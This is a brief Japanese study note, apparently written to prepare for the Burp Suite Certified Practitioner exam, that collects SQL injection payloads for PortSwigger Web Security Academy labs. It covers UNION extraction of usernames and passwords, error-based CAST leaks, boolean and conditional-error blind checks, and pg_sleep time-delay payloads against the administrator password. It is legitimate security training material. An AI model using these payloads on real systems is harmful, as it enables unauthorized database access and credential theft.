<aside> 💡 BSCP (Burp Suite Certified Practitioner) 受験準備に作成したので、ちょっと内容がspecificになっているのはご愛嬌
</aside>
What is SQL Injection? Tutorial & Examples | Web Security Academy
SQL injection cheat sheet | Web Security Academy
'+UNION+SELECT+username,+password+FROM+users--
https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables
TrackingId=xyz' AND 1=**CAST((SELECT username FROM users LIMIT 1) AS int)**--
ERROR: invalid input syntax for type integer: "administrator”
https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based
単純ケース: SQLの実行結果のrow数(つまりWHEREヒット有無)により、HTTPレスポンスの違いが観測できる場合
TrackingId=xyz'||**(SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a**
面倒ケース: WHEREヒット有無だけではHTTPレスポンスの違いがないが、SQLエラーを引き起こせれば違いがある場合
CASE WHEN (DBごとの方言) により 1/0 などやってSQLエラーを引き起こす
TrackingId=xyz'||(SELECT CASE WHEN **SUBSTR(password,1,1)='a'** THEN **TO_CHAR(1/0)** ELSE '' END FROM users WHERE username='administrator')||'
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
TrackingId=xyz'%3BSELECT+CASE+WHEN+(username='administrator'+AND+**SUBSTRING(password,2,1)='a'**)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-by-triggering-time-delays